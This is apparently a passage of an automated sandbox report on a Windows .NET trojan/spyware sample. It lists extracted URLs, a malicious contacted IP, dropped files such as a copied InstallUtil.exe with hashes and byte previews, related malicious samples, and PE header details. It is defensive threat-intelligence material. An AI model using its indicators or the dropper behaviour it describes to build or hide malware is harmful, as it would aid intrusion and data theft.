http://www.sandoll.co.kr	InstallUtil.exe, 0000000C.00000002.612022947.0000000006F52000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.site.com/logs.php	InstallUtil.exe, 0000000C.00000002.602473757.0000000002B31000.00000004.00000001.sdmp	false		high
http://www.urwpp.deDPlease	InstallUtil.exe, 0000000C.00000002.612022947.0000000006F52000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.nirsoft.net/	vbc.exe, vbc.exe, 00000013.00000002.491218277.0000000000400000.00000040.00000001.sdmp	false		high
http://www.zhongyicts.com.cn	InstallUtil.exe, 0000000C.00000002.612022947.0000000006F52000.00000004.00000001.sdmp, InstallUtil.exe, 0000000C.00000003.455377795.0000000005D47000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	ypBoHI5G3x.exe, 00000001.00000002.447965365.0000000003121000.00000004.00000001.sdmp, InstallUtil.exe, 0000000C.00000002.602473757.0000000002B31000.00000004.00000001.sdmp	false		high
http://www.carterandcone.como.	InstallUtil.exe, 0000000C.00000003.455801076.0000000005D48000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.sakkal.com	InstallUtil.exe, 0000000C.00000002.612022947.0000000006F52000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://ns.adobe.c/g%%N	ypBoHI5G3x.exe, 00000001.00000003.446695266.0000000007376000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://2542116.fls.doubleclick.net/activi	vbc.exe, 00000012.00000003.493497095.00000000022DC000.00000004.00000001.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0	InstallUtil.exe, 0000000C.00000002.612022947.0000000006F52000.00000004.00000001.sdmp	false		high
http://www.fontbureau.com	InstallUtil.exe, 0000000C.00000002.612022947.0000000006F52000.00000004.00000001.sdmp	false		high
http://www.fontbureau.comF	InstallUtil.exe, 0000000C.00000003.461734038.0000000005D4B000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/R	InstallUtil.exe, 0000000C.00000003.457320751.0000000005D49000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.founder.com.cn/cnomp$	InstallUtil.exe, 0000000C.00000003.454846783.0000000005D46000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.jiyu-kobo.co.jp/wuR	InstallUtil.exe, 0000000C.00000003.457320751.0000000005D49000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.zhongyicts.com.cnm	InstallUtil.exe, 0000000C.00000003.455377795.0000000005D47000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.jiyu-kobo.co.jp/G	InstallUtil.exe, 0000000C.00000003.456469435.0000000005D49000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/D	InstallUtil.exe, 0000000C.00000003.456756762.0000000005D4A000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/jp/	InstallUtil.exe, 0000000C.00000003.456756762.0000000005D4A000.00000004.00000001.sdmp, InstallUtil.exe, 0000000C.00000003.457320751.0000000005D49000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.carterandcone.coml	InstallUtil.exe, 0000000C.00000002.612022947.0000000006F52000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.carterandcone.com.F	InstallUtil.exe, 0000000C.00000003.455801076.0000000005D48000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.founder.com.cn/cn/	InstallUtil.exe, 0000000C.00000003.454846783.0000000005D46000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers/cabarga.htmlN	InstallUtil.exe, 0000000C.00000002.612022947.0000000006F52000.00000004.00000001.sdmp	false		high
http://www.founder.com.cn/cn	InstallUtil.exe, 0000000C.00000002.612022947.0000000006F52000.00000004.00000001.sdmp, InstallUtil.exe, 0000000C.00000003.454846783.0000000005D46000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers/frere-jones.html	InstallUtil.exe, 0000000C.00000002.612022947.0000000006F52000.00000004.00000001.sdmp	false		high
http://www.fontbureau.comdR	InstallUtil.exe, 0000000C.00000003.461734038.0000000005D4B000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.founder.com.cn/cnhic	InstallUtil.exe, 0000000C.00000003.454846783.0000000005D46000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.carterandcone.comw	InstallUtil.exe, 0000000C.00000003.455586589.0000000005D46000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.comm	InstallUtil.exe, 0000000C.00000003.470360983.0000000005D4A000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/	InstallUtil.exe, 0000000C.00000003.456756762.0000000005D4A000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.como	InstallUtil.exe, 0000000C.00000003.470360983.0000000005D4A000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/adnl	InstallUtil.exe, 0000000C.00000003.456756762.0000000005D4A000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers8	InstallUtil.exe, 0000000C.00000002.612022947.0000000006F52000.00000004.00000001.sdmp	false		high
http://www.carterandcone.comou	InstallUtil.exe, 0000000C.00000003.455801076.0000000005D48000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.comitu	InstallUtil.exe, 0000000C.00000003.461734038.0000000005D4B000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://www.google.com/accounts/servicelogin	vbc.exe	false		high
http://www.fontbureau.comu	InstallUtil.exe, 0000000C.00000003.470360983.0000000005D4A000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.comm(	InstallUtil.exe, 0000000C.00000003.461734038.0000000005D4B000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
http://www.jiyu-kobo.co.jp/c	InstallUtil.exe, 0000000C.00000003.456756762.0000000005D4A000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://www.google.com/	ypBoHI5G3x.exe, 00000001.00000002.447965365.0000000003121000.00000004.00000001.sdmp	false		high
http://ns.ado/1	ypBoHI5G3x.exe, 00000001.00000003.347743311.000000000736F000.00000004.00000001.sdmp, ypBoHI5G3x.exe, 00000001.00000003.446695266.0000000007376000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
142.250.185.196	www.google.com	United States		15169	GOOGLEUS	false
45.141.152.18	ftp.vngpack.com	Romania		9009	M247GB	true

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	33.0.0 White Diamond
Analysis ID:	454641
Start date:	27.07.2021
Start time:	11:11:43
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 13m 4s
Hypervisor based Inspection enabled:	false
Report type:	light
Sample file name:	ypBoHI5G3x (renamed file extension from none to exe)
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	24
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.phis.troj.spyw.evad.winEXE@7/5@3/3
EGA Information:	Failed
HDC Information:	Successful, ratio: 4.6% (good quality ratio 4.4%) Quality average: 84.2% Quality standard deviation: 25%
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Adjust boot time Enable AMSI
Warnings:	Show All Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, WMIADAP.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe, wuapihost.exe TCP Packets have been reduced to 100 Excluded IPs from analysis (whitelisted): 52.147.198.201, 23.211.6.115, 13.88.21.125, 131.253.33.200, 13.107.22.200, 52.255.188.83, 20.82.210.154, 20.54.110.249, 67.27.158.126, 8.253.95.249, 8.248.115.254, 67.26.75.254, 67.27.158.254, 40.112.88.60, 20.50.102.62, 80.67.82.235, 80.67.82.211, 23.211.4.86, 20.82.209.183 Excluded domains from analysis (whitelisted): store-images.s-microsoft.com-c.edgekey.net, iris-de-prod-azsc-neu-b.northeurope.cloudapp.azure.com, a1449.dscg2.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, arc.msn.com, e12564.dspb.akamaiedge.net, consumer-displaycatalogrp-aks2aks-europe.md.mp.microsoft.com.akadns.net, www-bing-com.dual-a-0001.a-msedge.net, audownload.windowsupdate.nsatc.net, arc.trafficmanager.net, displaycatalog.mp.microsoft.com, watson.telemetry.microsoft.com, auto.au.download.windowsupdate.com.c.footprint.net, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net, au-bg-shim.trafficmanager.net, www.bing.com, iris-de-prod-azsc-neu.northeurope.cloudapp.azure.com, fs.microsoft.com, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, neu-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, ris-prod.trafficmanager.net, asf-ris-prod-neu.northeurope.cloudapp.azure.com, ctldl.windowsupdate.com, e1723.g.akamaiedge.net, iris-de-prod-azsc-uks.uksouth.cloudapp.azure.com, skypedataprdcoleus16.cloudapp.net, dual-a-0001.dc-msedge.net, ris.api.iris.microsoft.com, skypedataprdcoleus17.cloudapp.net, a-0001.a-afdentry.net.trafficmanager.net, store-images.s-microsoft.com, blobcollector.events.data.trafficmanager.net, skypedataprdcolwus15.cloudapp.net, displaycatalog-rp.md.mp.microsoft.com.akadns.net Not all processes where analyzed, report is missing behavior information Report size exceeded maximum capacity and may have missing behavior information. Report size getting too big, too many NtAllocateVirtualMemory calls found. Report size getting too big, too many NtDeviceIoControlFile calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryValueKey calls found. Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
11:12:55	API Interceptor	211x Sleep call for process: ypBoHI5G3x.exe modified
11:13:44	API Interceptor	5x Sleep call for process: InstallUtil.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
45.141.152.18	Confirmarea platii.pdf.exe	Get hash	malicious	Browse	alfawood.us/xsclk/index.php
	Confirmarea platii.pdf.exe	Get hash	malicious	Browse	alfawood.us/mkdgs/index.php
	e-dekont.html.exe	Get hash	malicious	Browse	alfawood.us/mkdgs/index.php
	Credit Advice -TT6635993652908.PDF.exe	Get hash	malicious	Browse	alfawood.us/mkdgs/index.php
	Dekont.pdf.exe	Get hash	malicious	Browse	alfawood.us/xsclk/index.php
	Dekont.pdf.exe	Get hash	malicious	Browse	blkgrupdoom.info/scgn/index.php
	e-dekont.html.exe	Get hash	malicious	Browse	blkgrupdoom.info/scgn/index.php
	Dekont.pdf.exe	Get hash	malicious	Browse	blkgrupdoom.info/scgn/index.php

Domains

No context

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
M247GB	82658.exe	Get hash	malicious	Browse	45.141.152.18
	lLc1G9C259	Get hash	malicious	Browse	185.206.229.147
	vTHj1xits9	Get hash	malicious	Browse	38.206.10.73
	cNqgk3ITHS	Get hash	malicious	Browse	38.207.37.118
	nNb9qLGPaO	Get hash	malicious	Browse	185.158.248.209
	2N1tt5eaCn	Get hash	malicious	Browse	161.123.233.98
	AttachedWaybill.exe	Get hash	malicious	Browse	37.120.138.210
	UAbJbUWQVk.exe	Get hash	malicious	Browse	89.45.4.101
	NHnpjXX0sb	Get hash	malicious	Browse	196.17.120.85
	Paidcheck.pdf.exe	Get hash	malicious	Browse	217.138.212.57
	List_to_clear_62237.xlsm	Get hash	malicious	Browse	5.61.62.219
	List_to_clear_62237.xlsm	Get hash	malicious	Browse	5.61.62.219
	87597.exe	Get hash	malicious	Browse	45.141.152.18
	NJrrXRv8zV	Get hash	malicious	Browse	196.19.8.206
	DpuO7oic9y.exe	Get hash	malicious	Browse	86.106.143.143
	download.dat.exe	Get hash	malicious	Browse	194.187.251.163
	WindowsFormsApp1.exe	Get hash	malicious	Browse	194.187.251.163
	file2.exe	Get hash	malicious	Browse	141.98.102.243
	Anarchy_Client.exe	Get hash	malicious	Browse	77.243.181.86
	2N9Nc0H82F.exe	Get hash	malicious	Browse	37.120.206.86

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	hcpUDQyVUZ.exe	Get hash	malicious	Browse	142.250.185.196
	000100049000TK.exe	Get hash	malicious	Browse	142.250.185.196
	000900049000T2000.exe	Get hash	malicious	Browse	142.250.185.196
	PO#JFUB0002 4QjPQ2oE-pdf.exe	Get hash	malicious	Browse	142.250.185.196
	invoice.02 Nazih El Chouli.exe	Get hash	malicious	Browse	142.250.185.196
	tiG7noOyfw.exe	Get hash	malicious	Browse	142.250.185.196
	DHL Notification-pdf.exe	Get hash	malicious	Browse	142.250.185.196
	riwWTzYyhX.exe	Get hash	malicious	Browse	142.250.185.196
	jGMOFmyhHT.exe	Get hash	malicious	Browse	142.250.185.196
	triage_dropped_file.exe	Get hash	malicious	Browse	142.250.185.196
	PAYMENT VOUCHER096685_pdf.exe	Get hash	malicious	Browse	142.250.185.196
	PO LS632911DX.exe	Get hash	malicious	Browse	142.250.185.196
	UPS Anfrageformular 1.exe	Get hash	malicious	Browse	142.250.185.196
	INVOICE RECEIPT NO253334.exe	Get hash	malicious	Browse	142.250.185.196
	Drw3274-pdf.exe	Get hash	malicious	Browse	142.250.185.196
	ZJWRjB35qc.exe	Get hash	malicious	Browse	142.250.185.196
	LF4fOmIcwv.exe	Get hash	malicious	Browse	142.250.185.196
	d3e7114fb62aee098ae453d316cd3601c8cba87e6e6a1.exe	Get hash	malicious	Browse	142.250.185.196
	K5GDSm1DpM.exe	Get hash	malicious	Browse	142.250.185.196
	ifJoPwvs7o.exe	Get hash	malicious	Browse	142.250.185.196

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Link
C:\Users\user\AppData\Local\Temp\InstallUtil.exe	hcpUDQyVUZ.exe	Get hash	malicious	Browse
	Payment Slip.exe	Get hash	malicious	Browse
	OrderConfirmation23072021.exe	Get hash	malicious	Browse
	Inv-04_PDF.vbs	Get hash	malicious	Browse
	Overdue payment_20218423384940404043.exe	Get hash	malicious	Browse
	Inv-04_PDF.vbs	Get hash	malicious	Browse
	Nuovo ordine .exe	Get hash	malicious	Browse
	SecuriteInfo.com.generic.ml.15285.exe	Get hash	malicious	Browse
	HPE#0025_PDF.vbs	Get hash	malicious	Browse
	GH5mpZkbYZ.exe	Get hash	malicious	Browse
	RFQ_20210715 & PO#2021.exe	Get hash	malicious	Browse
	ConsoleApp5.exe	Get hash	malicious	Browse
	QuoteGMC828300912883755PDF.exe	Get hash	malicious	Browse
	QuoteGMC77399940102334PDF.exe	Get hash	malicious	Browse
	wanda.exe	Get hash	malicious	Browse
	Statement SKBMT 09218.exe	Get hash	malicious	Browse
	INOVICE -Reconciliation.exe	Get hash	malicious	Browse
	sGwZBR8YeX.exe	Get hash	malicious	Browse
	8nkNRwtNfA.exe	Get hash	malicious	Browse
	KwS2xupF5j.exe	Get hash	malicious	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\ypBoHI5G3x.exe.log Download File
Process:	C:\Users\user\Desktop\ypBoHI5G3x.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1402
Entropy (8bit):	5.338819835253785
Encrypted:	false
SSDEEP:	24:MLUE4K5E4Ks2E1qE4bE4K5AE4Kzr7K84qXKDE4KhK3VZ9pKhPKIE4oKFKHKoesX3:MIHK5HKXE1qHbHK5AHKzvKviYHKhQnoe
MD5:	F2152F0304453BCFB93E6D4F93C3F0DC
SHA1:	DD69A4D7F9F9C8D97F1DF535BA3949E9325B5A2F
SHA-256:	5A4D59CD30A1AF620B87602BC23A3F1EFEF792884053DAE6A89D1AC9AAD4A411
SHA-512:	02402D9EAA2DF813F83A265C31D00048F84AD18AE23935B428062A9E09B173B13E93A3CACC6547277DA6F937BBC413B839620BA600144739DA37086E03DD8B4F
Malicious:	true
Reputation:	moderate, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"System.Data, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\b219d4630d26b88041b59c21e8e2b95c\System.Xml.ni.dll",0..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.Co

C:\Users\user\AppData\Local\Temp\InstallUtil.exe Download File
Process:	C:\Users\user\Desktop\ypBoHI5G3x.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	41064
Entropy (8bit):	6.164873449128079
Encrypted:	false
SSDEEP:	384:FtpFVLK0MsihB9VKS7xdgE7KJ9Yl6dnPU3SERztmbqCJstdMardz/JikPZ+sPZTd:ZBMs2SqdD86Iq8gZZFyViML3an
MD5:	EFEC8C379D165E3F33B536739AEE26A3
SHA1:	C875908ACBA5CAC1E0B40F06A83F0F156A2640FA
SHA-256:	46DEE184523A584E56DF93389F81992911A1BA6B1F05AD7D803C6AB1450E18CB
SHA-512:	497847EC115D9AF78899E6DC20EC32A60B16954F83CF5169A23DD3F1459CB632DAC95417BD898FD1895C9FE2262FCBF7838FCF6919FB3B851A0557FBE07CCFFA
Malicious:	true
Antivirus:	Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: hcpUDQyVUZ.exe, Detection: malicious, Browse Filename: Payment Slip.exe, Detection: malicious, Browse Filename: OrderConfirmation23072021.exe, Detection: malicious, Browse Filename: Inv-04_PDF.vbs, Detection: malicious, Browse Filename: Overdue payment_20218423384940404043.exe, Detection: malicious, Browse Filename: Inv-04_PDF.vbs, Detection: malicious, Browse Filename: Nuovo ordine .exe, Detection: malicious, Browse Filename: SecuriteInfo.com.generic.ml.15285.exe, Detection: malicious, Browse Filename: HPE#0025_PDF.vbs, Detection: malicious, Browse Filename: GH5mpZkbYZ.exe, Detection: malicious, Browse Filename: RFQ_20210715 & PO#2021.exe, Detection: malicious, Browse Filename: ConsoleApp5.exe, Detection: malicious, Browse Filename: QuoteGMC828300912883755PDF.exe, Detection: malicious, Browse Filename: QuoteGMC77399940102334PDF.exe, Detection: malicious, Browse Filename: wanda.exe, Detection: malicious, Browse Filename: Statement SKBMT 09218.exe, Detection: malicious, Browse Filename: INOVICE -Reconciliation.exe, Detection: malicious, Browse Filename: sGwZBR8YeX.exe, Detection: malicious, Browse Filename: 8nkNRwtNfA.exe, Detection: malicious, Browse Filename: KwS2xupF5j.exe, Detection: malicious, Browse
Reputation:	moderate, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....Z.Z..............0..T...........r... ........@.. ....................................`.................................4r..O....................b..h>...........p............................................... ............... ..H............text....R... ...T.................. ..`.rsrc................V..............@..@.reloc...............`..............@..B................hr......H........"..\|J..........lm.......o......................................2~.....o.....r...p(....VrK..p(....s...........0..........(....(....o....o....(....o.... .....T(....o....(....o....o ...o!....4(....o....(....o....o ...o".....(....rm..ps#...o....($........(%....o&....ry..p......%.r...p.%.(.....(....('....((.......o)...('........................."..(.....{Q...-...}Q.....(+...(....(,....(+..."..(-.....(......(.....r...p.(/...o0...s....}T...*....0.. .......~S...-.s

C:\Users\user\AppData\Local\Temp\holderwb.txt Download File
Process:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
File Type:	Little-endian UTF-16 Unicode text, with no line terminators
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:Qn:Qn
MD5:	F3B25701FE362EC84616A93A45CE9998
SHA1:	D62636D8CAEC13F04E28442A0A6FA1AFEB024BBB
SHA-256:	B3D510EF04275CA8E698E5B3CBB0ECE3949EF9252F0CDC839E9EE347409A2209
SHA-512:	98C5F56F3DE340690C139E58EB7DAC111979F0D4DFFE9C4B24FF849510F4B6FFA9FD608C0A3DE9AC3C9FD2190F0EFAF715309061490F9755A9BFDF1C54CA0D84
Malicious:	false
Reputation:	unknown
Preview:	..

C:\Users\user\AppData\Roaming\pid.txt Download File
Process:	C:\Users\user\AppData\Local\Temp\InstallUtil.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:g:g
MD5:	198DD5FB9C43B2D29A548F8C77E85CF9
SHA1:	A3FE38AAB7B1CEF4210C0BE9EF8A705628CCE604
SHA-256:	B8BAA797B73F2F1B7A1A44EA3B325767BAF1126B0D2F76FE85C8EECB2306B118
SHA-512:	F0EBAE367BC5C77F38E6774B194CD51F8A7539A6FD5E6FEA4F05D1113C42C08159858461D81EB19223F9B70274602DE326EC31DE9DB75F67AB18D5744C76765E
Malicious:	false
Reputation:	unknown
Preview:	6456

C:\Users\user\AppData\Roaming\pidloc.txt Download File
Process:	C:\Users\user\AppData\Local\Temp\InstallUtil.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	52
Entropy (8bit):	4.23542415146063
Encrypted:	false
SSDEEP:	3:oNN+E2J5xAIOWRxRI0dAn:oNN723f5RndA
MD5:	B1373E3FE4C9899F688965D763C0879E
SHA1:	E1FB74A3CBBADD75ABEFAC442252C808AA248DD0
SHA-256:	E93F295284100AF6C668750D6050487FC5766080B0934D0FF66546CB72DB6B71
SHA-512:	3AA7A57E22834AB0A3622A4D2EE2A6658CA57EB9AFEDE9BF3422466032C837E9274E9AD82E36B5D833E3BCDA846018503F21E561C730627DA4EC84CAD4768371
Malicious:	false
Reputation:	unknown
Preview:	C:\Users\user\AppData\Local\Temp\InstallUtil.exe

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	6.346408618906811
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.80% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Generic Win/DOS Executable (2004/3) 0.01%
File name:	ypBoHI5G3x.exe
File size:	1287680
MD5:	08d679d4b9a12137756cc9244bd6f017
SHA1:	580c29bc356057d76873c9c453ed466e1024b7f2
SHA256:	047f33e6f83796d9fc056d7006a6e8ef69696d63eceb29fb1592bb13a62e79bf
SHA512:	e6293a802a6f539be11df5f6d83ee113ad98d8e5566d59810a18359ff0756eabe2b10f4c8bbd1e17222aaf45400b8a89d33f0e5786418347dc5213b79d8d7116
SSDEEP:	24576:1pMP/pBvygA8z+uhHJQNmR3X2rhK1+pSRs/N:1pMt3qu3H261Rs/N
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...c..4............................~.... ........@.. ....................................`................................

File Icon


Icon Hash:	00828e8e8686b000

Static PE Info

General
Entrypoint:	0x53bb7e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE
DLL Characteristics:	NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT, HIGH_ENTROPY_VA
Time Stamp:	0x34EEBD63 [Sat Feb 21 11:41:23 1998 UTC]
TLS Callbacks:
CLR (.Net) Version:	v4.0.30319
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x13bb2c	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x13c000	0x5c6	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x13e000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x139b84	0x139c00	False	0.581927757719	data	6.35046946452	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rsrc	0x13c000	0x5c6	0x600	False	0.419270833333	data	4.10690969353	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x13e000	0xc	0x200	False	0.044921875	data	0.101910425663	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_VERSION	0x13c0a0	0x33c	data
